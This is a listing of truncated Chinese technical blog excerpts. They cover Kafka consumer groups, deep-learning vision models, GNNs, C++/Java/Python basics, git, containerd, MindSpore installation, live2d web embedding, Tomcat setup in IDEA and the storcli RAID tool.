传统的消费模型 消息队列的消息被消费了,数据则从队列里删除,并且下游的多个 consumer 都要抢这条消息。发布/订阅模型允许消息被多个 consumer 消费,但是订阅者必须订阅所有分区 kafka为规避上面的缺点,引入了 消费组 模型。 kafka消费组 模型 以下是自己的理解: 比如订阅了两个主题,每个主题的分区是2,则消费组启动 4 个消费实例,每个消费实例对应一个分区,这样避免了 消费实例的竞争。同时也避免了发布/订阅模型 消费实例必须订阅所有分区的问题。 上代码 import ( "context" "fmt" "sync" "github.com/Shopify/sarama" ) // // 实现 github.com/Shopify/sarama/consumer_group.go/ConsumerGroupHandler 这个接口 type AAAConsumerGroupHandler struct { } func (AAAConsumerGroupHandler) Setup(_ sarama.ConsumerGroupSession) error { return nil } func (AAAConsumerGroupHandler) Cleanup(_ sarama.ConsumerGroupSession) error { return nil } // 这个方法用来消费消息的 func (h AAAConsumerGroupHandler) ConsumeClaim(sess sarama.ConsumerGroupSession, claim sarama.ConsumerGroupClaim) error { // 获取消息 for msg := range claim.

单目深度估计--深度学习篇

文章目录 一:深度估计应用背景1.深度估计的定义2.深度估计的应用场景3.几种深度估计的方法4.使用深度学习估计的优缺点 二:单目深度估计模型1.使用的数据集2.整体网络架构3.分模块解析Ⅰ:层级Ⅱ:ASPPⅢ:特征图减法操作Ⅳ:特征融合Ⅴ:Coarse-to-FineⅥ:权重参数预处理WS与pre_act操作Ⅶ:损失函数 一:深度估计应用背景 1.深度估计的定义 假设我们有一张2d图片 I I I,我们需要一个函数 F F F 来求取其相对应的深度 d d d.这个过程可以写为: d = F ( I ) d = F(I) d=F(I) 这里的深度信息 d d d其实就代表着由3D物体投射而来的2D图像中每个像素点与相机的实际距离。 但是众所周知, F F F是非常复杂的函数,因为从单张图片中获取具体的深度相当于从二维图像推测出三维空间,即使人眼在两只眼睛来定位自然世界的物体的情况下也依然会有问题存在,更何况使用单张照片了。所以传统的深度估计在单目深度估计上效果并不好,人们更着重于研究立体视觉 (Stereo Vision),即从多张图片中得到深度信息.因为两张图片就可以根据视角的变化得到图片之间disparity的变化,从而达到求取深度的目的。话说多了,先往后看。 2.深度估计的应用场景 除了上面两张图片中提到的应用场景,深度估计还可以运用于3D重建,障碍物检测,SLAM等一系列需要深度信息的下游任务中。因此,可见深度估计往往作为上游任务存在,重要性不言而喻。 3.几种深度估计的方法 利用激光雷达或结构光在物体表面的反射获取深度点云 这种方法可谓是“土豪法”,直接利用传感器扫一扫,便可获得高精度点云深度信息,但是价格昂贵! 传统的双目测距 双目立体视觉,由两个摄像头组成,像人的眼睛能看到三维的物体,获取物体长度、宽度信息,和深度的信息。摄像头的位置是一般手动标定(比如张正友相机标定算法),然后通过目标点在图像坐标系和世界坐标系中的位置来推导相机内外参数矩阵的过程,往往是一个坐标转换的过程。 传统的单目测距 单目视觉是能获取二维的物体信息,即长度、宽度,所以如果想要测距,需要拍摄出几张不同角度(时序)的图像,再通过Mobileye单目测距等一系列方法,进行求解。同时,计算量复杂,而且精度不如双目高,往往是在条件艰难的时候使用。 4.使用深度学习估计的优缺点 前面铺垫完了几种传统领域的几种常见方法,现在开始聊聊今天的主角–深度学习单目估计。顾名思义,深度学习深度学习,第一反应End2End,把图像往训练好的网络里一扔,不需要任何人工参与,直接得出最后的深度图,一个词,方便!同时,我们只需要单目相机,一个词,成本低! 那有什么缺点呢,首先是80m以内的深度估计精度还行,但是再远误差就很大了,可见精度低、估计距离局限性,都是它的缺点。当然,还有一个深度学习一直绕不走的问题,需要大量训练集,在一些缺少训练数据的环境里显然是不容忽视的问题。 但是毕竟和时代前沿技术搭边了,咱们就来好好唠一唠,下面进入正题。 二:单目深度估计模型 1.使用的数据集 这里讲解的深度估计模型,使用的是KITTI数据集,取景于城市、乡村的道路上,该数据集在多个研究领域内被广泛使用,具体见下图: 2.整体网络架构 深度估计模型是输入一张图像,输出一张包含深度信息的图片,所以是一种生成模型,那么必然离不开编码和解码这个核心过程了,见下图: 当然,真正的网络架构没有这么简单,但都是围绕编码-解码进行的,下面展示CVPR最近发布的一种网络架构,我将逐模块地讲解这个“庞然大物”: 3.分模块解析 Ⅰ:层级 其实就是经过几层池化后,每次缩一半,这里的backbone使用的是Resnet101。和U-net等网络的操作相似,主要是为了后面的操作,如图: Ⅱ:ASPP 作者在backbone的最后一个特征图做了ASPP,这里什么是ASPP不再赘述了,就是空洞卷积和SPP的结合,之所以用ASPP目的就是加点特征多样性,同时保留一定的分辨率(也是图像分割领域常规操作)。如图所示: Ⅲ:特征图减法操作 在深度估计研究领域,物体的轮廓深度信息是一个挑战,作者为了有效解决这个问题,进行了神操作,将两张特征图 A − B A-B A−B相减(特征图B是上采样后和A一样尺寸的特征图),提取出了差异特征,得到轮廓特征图L。如下图: Ⅳ:特征融合 进行一顿叠加,首先充分利用高层特征图与本层特征图的融合,得到中间特征图X,来增加特征的多尺度性。接着拼接高层的预测结果R‘’和本层的轮廓图L,大杂烩乱炖后得到本层预测结果R。每层都是这样操作,如图所示:

GNN的理解与研究

文章目录 一:初识GNN1.什么是GNN2.GNN与CNN、RNN的区别3.GNN的应用领域 二:GNN原理1.邻接矩阵2.聚合操作3.多层迭代 一:初识GNN 1.什么是GNN 图(Graph) 在讨论GNN之前,我们先来了解一下什么是图。在计算机科学中,图是由节点和边两部分组成的一种数据结构。图G可以通过节点集合V和它包含的边E来进行描述。如下图所示: GNN GNN全称----图神经网络,它是一种直接作用于图结构上的神经网络。我们可以把图中的每一个节点 V V V 当作个体对象,而每一条边 E E E 当作个体与个体间的某种联系,所有节点组成的关系网就是最后的图 U U U。 这里的 V , E , U V, E , U V,E,U都可以编码成一个特征向量,所以实际上GNN还是做的是提取特征的工作而已。GNN的一个典型应用是节点分类,我们希望利用GNN提取出每个节点 V V V 的特征向量,来预测每个节点的标签。同样的,也可以通过节点与节点间的特征,来预测出对应边 E E E 的标签。当然,也可以利用所以节点提取出的特征,来预测整个图 V V V 的标签。 如下图: 2.GNN与CNN、RNN的区别 那都是提取特征的神经网络,那为什么要利用图模型来提取呢?CNN的卷积和RNN的递归方式不行吗? 答案还真不行,或者说十分麻烦。 因为GNN面向的输入对象其实都是结构不规则、不固定的数据结构,而CNN面向的图像数据和RNN面向的文本数据的格式都是固定的,所以自然不能混为一谈。因此,面对本身结构、彼此关系都不固定的节点特征,必须需要借助图结构来表征它们的内在联系。 3.GNN的应用领域 GNN应用的领域自然都是由结构不规则、不固定的数据组成的场合了。比如下图所示的场景: 其中的交通流量感知、医疗领域是当前GNN应用最为火热的领域,以上仅供参考。接下来,我们来一起探究GNN的工作原理是什么,到底是如何提取、更新每个节点的特征呢? 二:GNN原理 1.邻接矩阵 首先引入邻接矩阵(Adjacency Matrix)的概念,它来表示节点与节点间的连接关系,即Edge的关系,矩阵的具体样式如下图所示: 2.聚合操作 GNN的输入一般是每个节点的起始特征向量和表示节点间关系的邻接矩阵,有了这两个输入信息,接下来就是聚合操作了。所谓的聚合,其实就是将周边与节点 V i Vi Vi 有关联的节点{ V a , V b , . .

Faster R-CNN最全讲解

文章目录 一:Faster R-CNN的改进二:网络架构三:Conv layers模块四:Region Proposal Networks(RPN)模块【Module 1】step1: generate_anchor_basestep2: AnchorTargetCreatorstep3:训练RPN 【Module 2】 五:Semi-Fast R-CNN(RoiHead)【训练阶段】step1:RP中标注训练样本step2: 正式训练 【测试阶段】 六:Faster R-CNN训练方法七:Faster R-CNN测试方法step1:输入图像经过卷积层得到feature mapstep2:feature map经过RPN得到300个RPstep3:将RP输入到RoiHead网络中step4:得出每个RP的类别得分和bbox位置参数step5:由得分阈值选出最终的ROIstep6:结合位置参数微调ROI的bbox框step7:经过NMS后画出最终检测框 八:总结 一:Faster R-CNN的改进 想要更好地了解Faster R-CNN,需先了解传统R-CNN和Fast R-CNN原理,可参考本人呕心撰写的两篇博文 R-CNN史上最全讲解 和 Fast R-CNN讲解。 回到正题,经过R-CNN和Fast RCNN的积淀,Ross B. Girshick在2016年提出了新的Faster RCNN。从网络命名上看就很直白,那么相较于Faster R-CNN到底Faster在哪儿里呢?答案就是:region proposal的提取方式的改变。 Fast R-CNN虽然提出了ROI Pooling的特征提取方式,很好地解决了传统R-CNN中将Region Proposal区域分别输入CNN网络中的弊端。但是!!!始终都是用的传统Selective Search搜索方式确定Region Proposal,训练和测试时消耗了大量时间在RP搜索上。而Faster R-CNN突破性地使用了RPN网络直接提取出RP,并将其融入进整体网络中,使得综合性能有较大提高,在检测速度方面尤为明显。 二:网络架构 上图展示了python版本中的VGG16模型中的faster_rcnn_test.pt的网络结构,可以清晰的看到该网络架构分为以下几个模块: Conv layers 该Backbone层主要用来提取输入图像中的特征,生成Feature Map以供后两个模块使用。Region Proposal Networks(RPN) RPN模块用来训练提取出原图中的Region Proposal区域,是整个网络模型中最重要的一个模块。Semi-Fast R-CNN Semi-Fast R-CNN是我自创的命名,因为和Fast R-CNN的head层几乎一模一样,更多叫法是RoiHead层。当通过RPN模块确定了RP后,就可以训练Fast R-CNN网络了,完成对RP区域的分类与bbox框的微调。 综上述可见,细心的人会发现,Conv layers+Semi-Fast R-CNN不就是Fast R-CNN嘛!所以,Faster R-CNN网络实际上就是RPN + Fast R-CNN,也就是two-stage,训练时也是对两个模块分开训练,测试时先由RPN生成RP,再将带有RP的Feature Map输入进Fast R-CNN中完成分类和预测框回归任务。下面,我将依次对三个模块进行详细讲解。

Mask R-CNN讲解

文章目录 一:Mask R-CNN的横空出世二:网络架构【Backbone】【RPN】【ProposalLayer】【DetectionTargetLayer】【ROIAlign】【bbox检测】【Mask分割】 三:损失函数四:测试过程五:总结 一:Mask R-CNN的横空出世 Mask R-CNN是何凯明大神的新作。Mask R-CNN是一种在有效检测目标的同时输出高质量的实例分割mask。是对faster r-cnn的扩展,与bbox检测并行的增加一个预测分割mask的分支。Mask R-CNN 可以应用到人体姿势识别。并且在实例分割、目标检测、人体关键点检测三个任务都取得了现在最好的效果,下图是Mask R-CNN的检测效果图: 可见,Mask R-CNN其实是将物体检测和语义分割结合起来,从而达到了实例分割的效果。 二:网络架构 由上图可见,网络架构大概可分为以下几部分: BackboneRPNProposalLayerDetectionTargetLayerROIAlignbbox检测Mask分割 下面我将按部分讲解,强调:需要有一定的Faster R-CNN基础,还不太了解的小伙伴可移步本人另一篇文章Faster R-CNN最全讲解。 【Backbone】 与Faster R-CNN使用VGG作为backbone不同,Mask R-CNN使用50层和101层的ResNet网络作为backbone,同时作者还探究了另一种有效的主干结构,叫做FPN。所以,其实有四种backbone选择,ResNet50,ResNet101,ResNet50 + FPN,ResNet101 + FPN。选择不同的backbone,ROI生成方式、RP的选择以及RP投射到feature map上的选择会有所不同,并且进入Head层的特征图大小也不尽相同,见下图: 本文选择ResNet101 + FPN作为Backbone进行讲解,也是最复杂的一种选择,了解它的原理,其他类型的backbone自然也都掌握了。下面进入正式讲解: 首先我先来讲讲FPN的作用是什么,为什么现在这么火? 深层网络容易响应语义特征,浅层网络容易响应图像特征。但是到了物体检测领域,这个特征便成了一个重要的问题,高层网络虽然能响应语义特征,但是由于Feature Map的尺寸较小,含有的几何信息并不多,不利于物体检测;浅层网络虽然包含比较多的几何信息,但是图像的语义特征并不多,不利于图像的分类,这个问题在小尺寸物体检测上更为显著和,这也就是为什么物体检测算法普遍对小物体检测效果不好的最重要原因之一。很自然地可以想到,使用合并了的深层和浅层特征来同时满足分类和检测的需求,也就是FPN思想,其演变过程如下图: FPN使用的是图像金字塔的思想以解决物体检测场景中小尺寸物体检测困难的问题,传统的图像金字塔方法(图a)采用输入多尺度图像的方式构建多尺度的特征,该方法的最大问题便是识别时间为单幅图的k倍,其中k是缩放的尺寸个数。Faster R-CNN等方法为了提升检测速度,使用了单尺度的Feature Map(图b),但单尺度的特征图限制了模型的检测能力,尤其是训练集中覆盖率极低的样本(例如较大和较小样本)。不同于Faster R-CNN只使用最顶层的Feature Map,SSD[6]利用卷积网络的层次结构,从VGG的第conv4_3开始,通过网络的不同层得到了多尺度的Feature Map(图c),该方法虽然能提高精度且基本上没有增加测试时间,但没有使用更加低层的Feature Map,然而这些低层次的特征对于检测小物体是非常有帮助的。 针对上面这些问题,FPN采用了SSD的金字塔内Feature Map的形式。与SSD不同的是,FPN不仅使用了VGG中层次深的Feature Map,并且浅层的Feature Map也被应用到FPN中。并通过自底向上的结构(bottom-up),自顶向下(top-down)以及横向连接(lateral connection)将这些Feature Map高效的整合起来,在提升精度的同时并没有大幅增加检测时间(图d)。 通过将Faster R-CNN的RPN和Fast R-CNN的骨干框架换成FPN,Faster R-CNN的平均精度从51.7%提升到56.9%。 FPN的代码出现在./mrcnn/model.py中,核心代码如下: # Build the shared convolutional layers. # Bottom-up Layers # Returns a list of the last layers of each stage, 5 in total.

python -- strip(), split()用法

1 strip() 移除字符串头尾指定的字符,默认为移除空格、换行符; >>> str = '1cndsidivcjdisjvdj1' >>> str.strip('1') 'cndsidivcjdisjvdj' >>> str = ' 1cndsidivcjdisjvdj1 ' >>> str.strip() '1cndsidivcjdisjvdj1' >>> 2 split() 通过指定分隔符对字符串进行切片; 参数: split(str=”“, num). str:为分割符,默认为空格; num: 为分割次数; >>> str = 'csncds csjcjais csajcsak' >>> str.split() ['csncds', 'csjcjais', 'csajcsak'] >>> str = 'csncds\ncsjcjais\ncsajcsak' >>> str.split() ['csncds', 'csjcjais', 'csajcsak'] >>> str.split('\n',1) ['csncds', 'csjcjais\ncsajcsak']

C++ reverse()函数用法详解(深入了解,一文学会)

reverse_copy() 算法可以将源序列复制到目的序列中,目的序列中的元素是逆序的。定义源序列的前两个迭代器参数必须是双向迭代器。目的序列由第三个参数指定,它是目的序列的开始迭代器,也是一个输出迭代器。如果序列是重叠的,函数的行为是未定义的。这个算法会返回一个输出迭代器,它指向目的序列最后一个元素的下一个位置。 本文作者原创,转载请附上文章出处与本文链接。 C++ reverse()函数用法详解(深入了解,一文学会)目录 1 reverse 1.1 反转Vector容器 1.2 反转string 1.3 翻转字符数组 1.4 反转数组 2 reverse_copy() 1 reverse 1.1 反转Vector容器 #include <iostream> #include <vector> using namespace std; int main() { vector<int> a; for (int i = 0; i < 10; i++) { a.push_back(i); } cout << "翻转前: " << "\n"; for (int i = 0; i < 10; i++) { cout << a[i]; } reverse(a.begin(), a.end()); cout << "

struct.error: unpack requires a buffer of 136 bytes

struct.error: unpack requires a buffer of 136 bytes@TOC 使用树莓派向linux服务器传输照片时,struct.error: unpack requires a buffer of 136 bytes 原因是树莓派系统为32位,而服务器系统为64位。 因此需要在打包时 fhead = struct.pack(‘128sq’, bytes(os.path.basename(filepath),encoding=‘utf-8’),os.stat(filepath).st_size) 使用128sq而不是128sl。在64位服务器中解包时仍使用128sl即可解决 链接: https://blog.csdn.net/zsy162534/article/details/83991785.

C++ 左值和右值

左值和右值 左值、右值左值引用、右值引用std::move()std::move()的实现引用折叠 完美转发forward()的实现函数返回值是左值还是右值如何判断一个值是左值还是右值 左值、右值 在C++11中所有的值必属于左值、右值两者之一,右值又可以细分为纯右值、将亡值。在C++11中可以取地址的、有名字的就是左值,反之,不能取地址的、没有名字的就是右值(将亡值或纯右值)。举个例子,int a = b+c, a 就是左值,其有变量名为a,通过&a可以获取该变量的地址;表达式b+c、函数int func()的返回值是右值,在其被赋值给某一变量前,我们不能通过变量名找到它,&(b+c)这样的操作则不会通过编译。 在理解C++11的右值前,先看看C++98中右值的概念:C++98中右值是纯右值,纯右值指的是临时变量值、不跟对象关联的字面量值。临时变量指的是非引用返回的函数返回值、表达式等,例如函数int func()的返回值,表达式a+b;不跟对象关联的字面量值,例如true,2,”C”等。 C++11对C++98中的右值进行了扩充。在C++11中右值又分为纯右值(prvalue,Pure Rvalue)和将亡值(xvalue,eXpiring Value)。其中纯右值的概念等同于我们在C++98标准中右值的概念,指的是临时变量和不跟对象关联的字面量值;将亡值则是C++11新增的跟右值引用相关的表达式,这样表达式通常是将要被移动的对象(移为他用),比如返回右值引用T&&的函数返回值、std::move的返回值,或者转换为T&&的类型转换函数的返回值。 将亡值可以理解为通过“盗取”其他变量内存空间的方式获取到的值。在确保其他变量不再被使用、或即将被销毁时,通过“盗取”的方式可以避免内存空间的释放和分配,能够延长变量值的生命期。 左值引用、右值引用 左值引用就是对一个左值进行引用的类型。右值引用就是对一个右值进行引用的类型,事实上,由于右值通常不具有名字,我们也只能通过引用的方式找到它的存在。 右值引用和左值引用都是属于引用类型,并且都是左值。无论是声明一个左值引用还是右值引用,都必须立即进行初始化。而其原因可以理解为是引用类型本身自己并不拥有所绑定对象的内存,只是该对象的一个别名。左值引用是具名变量值的别名,而右值引用则是不具名(匿名)变量的别名。 左值引用通常也不能绑定到右值,但常量左值引用是个“万能”的引用类型。它可以接受非常量左值、常量左值、右值对其进行初始化。不过常量左值所引用的右值在它的“余生”中只能是只读的。相对地,非常量左值只能接受非常量左值对其进行初始化。 int &a = 2; # 左值引用绑定到右值,编译失败 int b = 2; # 非常量左值 const int &c = b; # 常量左值引用绑定到非常量左值,编译通过 const int d = 2; # 常量左值 const int &e = c; # 常量左值引用绑定到常量左值,编译通过 const int &b =2; # 常量左值引用绑定到右值,编程通过 右值值引用通常不能绑定到任何的左值,要想绑定一个左值到右值引用,通常需要std::move()将左值强制转换为右值,例如: int a; int &&r1 = c; # 编译失败 int &&r2 = std::move(a); # 编译通过 下表列出了在C++11中各种引用类型可以引用的值的类型。值得注意的是,只要能够绑定右值的引用类型,都能够延长右值的生命期。

SCS【6】单细胞转录组之细胞类型自动注释 (SingleR)

点击关注,桓峰基因 桓峰基因公众号推出单细胞系列教程,有需要生信分析的老师可以联系我们!首选看下转录分析教程整理如下: Topic 6. 克隆进化之 Canopy Topic 7. 克隆进化之 Cardelino Topic 8. 克隆进化之 RobustClone SCS【1】今天开启单细胞之旅,述说单细胞测序的前世今生 SCS【2】单细胞转录组 之 cellranger SCS【3】单细胞转录组数据 GEO 下载及读取 SCS【4】单细胞转录组数据可视化分析 (Seurat 4.0) SCS【5】单细胞转录组数据可视化分析 (scater) SCS【6】单细胞转录组之细胞类型自动注释 (SingleR) 今天来说说单细胞转录组数据的细胞类型的注释,学会这些分析结果,距离发文章就只差样本的选择了,有创新性的样本将成为文章的亮点,并不是分析内容了! 前 言 单细胞研究中细胞类型注释是很重要的环节,大致分为人工注释和软件注释。 (1)人工注释 人工注释需要借助文献检索marker或者结合常用的注释数据库: cellMarker,PanglaoDB, CancerSEA等,比较考验研究者的相关背景和精力,优点在于准确性相对较好。 (2)软件自动化注释 软件自动化注释一般是使用软件内置数据集进行注释,操作相对简单。但是准确性会相对稍差,不过可以作为一种很好的辅助注释手段。 自动化注释的软件很多,本次先简单分享如何使用singleR进行自动注释。 SingleR是一个用于对单细胞RNA-seq测序(scRNA-seq)数据进行细胞类型自动注释的R包(Aran et al.2019)。依据已知类型标签的细胞样本作为参考数据集,对测试数据集中的细胞进行标记注释。 SingleR是一种用于单细胞RNA测序(scRNAseq)数据的自动标注方法(Aran et al. 2019)。给定一个具有已知标签的参考样本集(单细胞或批量),它根据与参考的相似性对来自测试数据集的新单元格进行标记。因此,对于参考数据集,手动解释集群和定义标记基因的负担只需要做一次,并且这种生物知识可以以自动的方式传播到新的数据集。singleR自带的7个参考数据集,其中5个是人类数据,2个是小鼠的数据: 1. BlueprintEncodeData Blueprint (Martens and Stunnenberg 2013) and Encode (The ENCODE Project Consortium 2012) (人) 2. DatabaseImmuneCellExpressionData The Database for Immune Cell Expression(/eQTLs/Epigenomics)(Schmiedel et al.

【java锁】synchronized

synchronized用于实现同步处理,保证共享数据的安全性 数据有安全性问题的原因:1、共享数据 2、修改数据 synchronized相对于volatile是重量级的线程安全的方法,可以保证3大特性:原子性、可见性、有序性。可以将并发操作转换为串型执行 用于静态方法,锁对象为当前类 public static synchronized void pp(){}用于非静态方法,锁对象为当前类的对象 public synchronized void pp(){}用于代码块,锁对象为指定的对象 synchronized(obj){} 用法1:同步代码块 public class A { public static void main(String[] args) { for(int i=0;i<3;i++) { Thread t1=new MyThread("第"+(i+1)+"个售票窗口"); t1.start(); } } } class MyThread extends Thread { private String name; private static int counter = 20; private final static String LOCK="lock1"; public MyThread(String name) { this.name = name; } @Override public void run() { while (counter > 0) { try { sleep(100);// 模拟售票过程,加剧出错的可能性 } catch (InterruptedException e) { e.

C++中的五种构造函数

这里写目录标题 默认构造函数何时生成默认的构造函数 普通构造函数拷贝构造函数何时生成默认的拷贝构造函数拷贝构造函数调用的时机 转换构造函数移动构造函数 C++中的构造函数可以分为5类:默认构造函数、普通构造函数、拷贝构造函数、转换构造函数、移动构造函数。 默认构造函数 未提供显式初始值时,用来创建对象的构造函数。以Student类为例,默认构造函数的原型为 Student();//没有参数 Student(int num=0;int age=0);//所有参数均有默认值 何时生成默认的构造函数 当一个类没有构造函数时,如果满足以下四个条件其中之一,则编译器会为该类自动生成一个默认的构造函数: 该类含有一个类类型(非内置类型)的成员变量,且该类型含有默认构造函数。该类继承自含有默认构造函数的基类。该类继承或声明了虚函数。该类含有虚基类。 普通构造函数 C++用于构建类的新对象时需要调用的函数 Student(int num,int age);//有参数 拷贝构造函数 何时生成默认的拷贝构造函数 当一个类没有拷贝构造函数时,如果满足以下四个条件其中之一,则编译器会为该类自动生成一个默认的拷贝构造函数: 该类含有一个类类型(非内置类型)的成员变量,且该类型含有拷贝构造函数。该类继承自含有拷贝构造函数的基类。该类继承或声明了虚函数。该类含有虚基类。 需要注意的是,默认的拷贝构造函数实现的是浅拷贝。 拷贝构造函数调用的时机 拷贝构造函数在以下三种情况下会被调用。 1).当用一个对象去初始化同类的另一个对象时,会引发复制构造函数被调用。例如,下面的两条语句都会引发复制构造函数的调用,用以初始化 c2。 Complex c2(c1); Complex c2 = c1; 这两条语句是等价的。 注意,第二条语句是初始化语句,不是赋值语句。赋值语句的等号左边是一个早已有定义的变量,赋值语句不会引发复制构造函数的调用。例如: Complex c1, c2; c1=c2; 这条语句不会引发复制构造函数的调用,因为 c1 早已生成,已经初始化过了。 2).如果函数 F 的参数是类 A 的对象,那么当 F 被调用时,类 A 的复制构造函数将被调用。换句话说,作为形参的类A的对象,是用复制构造函数初始化的,而且调用复制构造函数时的参数,就是调用函数时所给的实参。 #include<iostream> using namespace std; class A{ public: A(){}; A(A & a){ cout<<"Copy constructor called"<<endl; } }; void Func(A a){ } int main(){ A a; Func(a); return 0; } 程序的输出结果为:

使用Git命令创建新分支

1. 进入Git Bash Here,查看仓库所有分支git branch -a 2. 使用命令 git checkout master,表示切换到master分支,并git pull拉取最新代码 3. 由于的所在的分支为master, 使用命令git checkout -b br_master,br_master表示基于当前分支master创建的分支 4. 将新创建的分支推送到远程仓库,命令为git push origin br_master 5. 将br_master本地分支和远程br_master分支进行关联, 命令为git branch --set-upstream-to=origin/br_master,如果不进行这个操作的话,git pull将会失败。

微信小程序对接蓝牙设备连接全过程

初始化蓝牙 initBlue(){ var that = this; wx.openBluetoothAdapter({//调用微信小程序api 打开蓝牙适配器接口 success: function (res) { console.log(res) wx.showToast({ title: '初始化成功', icon: 'success', duration: 800 }) that.findBlue();//2.0 }, fail: function (res) {//如果手机上的蓝牙没有打开,可以提醒用户 wx.showToast({ title: '请开启蓝牙', icon: 'error', duration: 1000 }) } }) }, 搜索蓝牙设备,本来参照大佬的例子是下面再次安全检索,但是由于小程序开发更新,需要调用新的接口onBluetoothDeviceFound才能搜索到所有设备,因此改进了一些。 //搜索蓝牙设备 findBlue(){ var that = this //开始搜索蓝牙 wx.startBluetoothDevicesDiscovery({ allowDuplicatesKey: false, interval: 0, success: function (res) { console.log(res); wx.showLoading({ title: '正在搜索设备', }) // that.getBlue()//3.0 } }) wx.onBluetoothDeviceFound((res)=>{ const device = res.devices[0] if (device.

Containerd 安装使用与高级命令行工具 crictl、nerdctl

文章目录 1. 安装 containerd2. containerd 基本使用3. crictl 安装使用3.1 crictl 安装3.2 crictl 使用 4. nerdctl 安装使用4.1 nerdctl 安装4.2 [nerdctl 使用](https://zhuanlan.zhihu.com/p/367215412) 5. 总结 1. 安装 containerd yum -y install containerd systemctl status containerd 链接 修改镜像仓库地址 vi /etc/containerd/config.toml #----------------------------- [plugins."io.containerd.grpc.v1.cri".registry] [plugins."io.containerd.grpc.v1.cri".registry.mirrors] [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] endpoint = ["https://4iv7219l.mirror.aliyuncs.com", "https://registry-1.docker.io"] ...... 启动可能会报错,参考 journalctl -xeu containerd 删除重复配置 链接 systemctl daemon-reload && systemctl restart containerd 2. containerd 基本使用 查看命名空间 ctr namespace ls 拉取镜像 ctr images pull docker.io/library/alpine:latest 查看镜像

MindSpore GPU版本安装指导

MindSpore GPU软件包依赖Nvidia GPU驱动,CUDA runtime以及CUDNN库 当前MindSpore-GPU适配了CUDA 10.1和CUDA 11.1两个版本,可以根据操作系统版本和MindSpore版本选择对应的CUDA Toolkit版本进行安装。 接下来以CUDA11.1 + CUDNN8.0为例,介绍如何安装上述软件 1、Nvidia GPU驱动和CUDA runtime可以通过CUDA Toolkit安装: 1)下载CUDA Toolkit 下载路径:https://developer.nvidia.com/cuda-11.1.1-download-archive 如下所示,当选择Ubuntu18.04版本的runfile之后,Base installer中会给出下载的路径以及安装命令 2)安装CUDA Toolkit sudo sh cuda_11.1.1_455.32.00_linux.run 3)检查安装结果 执行nvidia-smi命令,可以看到当前cuda驱动版本为455.32.00,CUDA版本是11.1,默认安装路径是/usr/local/cuda-11.1 2、安装CUDNN CUDNN是Nvidia提供的能神经网络算子库 下载CUNN之前需要完成账户注册(这里不再赘述),接下来在https://developer.nvidia.com/rdp/cudnn-archive选择对应的CUDNN版本 下载解压后分别将include和lib64移动到/usr/local/cuda/include目录即完成安装:

【初级篇】网页引入live2d

一、说明 网上存在大佬写的网页live2d引擎,由于查找的资料经过很多次转载,找不到引擎的原作者。这里就发下资源,只记录怎么简单引用live2d。 资源下载地址:链接: https://pan.baidu.com/s/1GpbX7vsb4_E7OBF0whlNXg?pwd=8mpe 提取码: 8mpe 复制这段内容后打开百度网盘手机App,操作更方便哦 二、代码使用 html <div id="landlord"> <div class="message" style="opacity:0"></div> <canvas id="live2d" width="280" height="250" class="live2d"></canvas> <div class="hide-button">隐藏</div> </div> js部分 <script type="text/javascript" src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script> <script type="text/javascript"> var message_Path = 'live2d/' var home_Path = 'https://haremu.com/' //此处修改为你的域名,必须带斜杠 </script> //引入live2D基础库 <script type="text/javascript" src="live2d/js/live2d.js"></script> // 修改live2D上面的随机出现的文字信息 <script type="text/javascript" src="live2d/js/message.js"></script> <script type="text/javascript"> //调用live2d引擎,载入模型数据json,网上有很多模型,可以自行导入切换 loadlive2d("live2d", "live2d/model/tia/model.json"); </script> 三、显示效果

IDEA创建动态web工程并配置Tomcat服务器

Tomcat服务器 一、创建动态web工程二、配置 Tomcat服务器并运行三、Tomcat服务器的其它设置1、修改Tomcat实例名和工程路径2、热部署3、添加lib目录和管理jar包 三、第一个servlet程序 Tomcat使用:IDEA创建一个动态web工程 并 配置Tomcat服务器 一、创建动态web工程 创建一个普通的Java模块为普通Java模块添加动态工程 第一步:创建一个普通的Java模块01_web 第二步:将普通java模块01_web添加动态工程 Add Frameworks Support — JavaEE — Web Application 二、配置 Tomcat服务器并运行 三、Tomcat服务器的其它设置 1、修改Tomcat实例名和工程路径 Web工程对应的Tomcat运行实例:01_webApplication Context 工程路径:/01_web启动Tomcat实例时默认打开访问的地址URL: http://localhost:8080/工程路径/http://localhost:8080/01_web/ 2、热部署 首先我们知道: 更新Tomcat配置后要重启服务器更新wel.xml的内容后,要重新部署修改Java代码后一般需要重启部署服务器,但有时候修改Servlet代码需要重写部署,热部署启动即可。 热部署:当类或资源代码发生改变时,idea会自动编译修改后的代码 3、添加lib目录和管理jar包 在web目录下的WEB-INF 目录下创建 classes文件(存放编译后的字节码文件)和lib(存放导入的架包) 注意创建classes目录后需要做下面的设置:File - - - Project Structure - - - Modules - - - 选择模块名 - - – 选择sources下的classes目录,点击Ecluded即可把classes变为橙色。 1️⃣ 添加jar包方式一:为指定模块添加jar包 可以到Tomcat的lib目录中找复制到目录下,然后添加将需要使用的jar包(右击Add as Library…) 可以直接为指定模块添加jar包 查看jar包 在Project Structure 的模块管理中添加jar包 2️⃣ 添加jar包方式二:动态给web工程添加额外jar包【添加】 添加到指定模块 和 ProjectLibrary中 可以新添加一个jar包,将已有jar包添加到其它模块等等,管理jar包更加方便

storcli简易使用介绍

MegaCli 是LSI公司官方提供的SCSI卡管理工具,由于LSI被收购变成了现在的Broadcom,所以现在想下载MegaCli,需要去Broadcom官网查找Legacy产品支持,搜索MegaRAID即可。关于MegaCli 的使用可以看我的另一篇博文,这里就不再介绍了。 现在官方有storcli,storcli已经基本代替了megacli,整合了LSI和3ware所有产品。 安装方面比较简单,megacli还要Lib_Utils的支持,而storcli只用一个rpm包就可以下载,去Broadcom官网去找就行了:Search Results storcli支持json格式输出,信息解析更加方便 安装完后,默认位置在 /opt/Mega/storcli下面,下面介绍storcli工具的简单使用 获取帮助 storcli64 -h 基础信息 storcli64 show [all] 显示raid卡相关信息、raid卡高级软件信息,可以看到只有一个控制器 控制器配置 获取控制器信息 storcli64 /c0 show 显示控制器0的信息,我们可以看到有6个物理设备,以及enclosure id号为58,硬盘大多是附在enclosure上不是直接附在controller上,如果你之前看过MegaCli 的操作,对这个应该就还挺熟悉了 剩余空间 storcli64 /c0 show freespace CC(consistency check) storcli64 /c0 show cc storcli64 /c0 show ccrate 设置cc storcli /cx set consistencycheck|cc=[off|seq|conc] [delay=value] storcli /cx set ccrate=<value> rebuild storcli64 /c0 show rebuildrate 获取rebuild速率 storcli64 /c0 set rebuildrate=30 设置rebuild速率 清除缓存 storcli64 /c0 flushcache 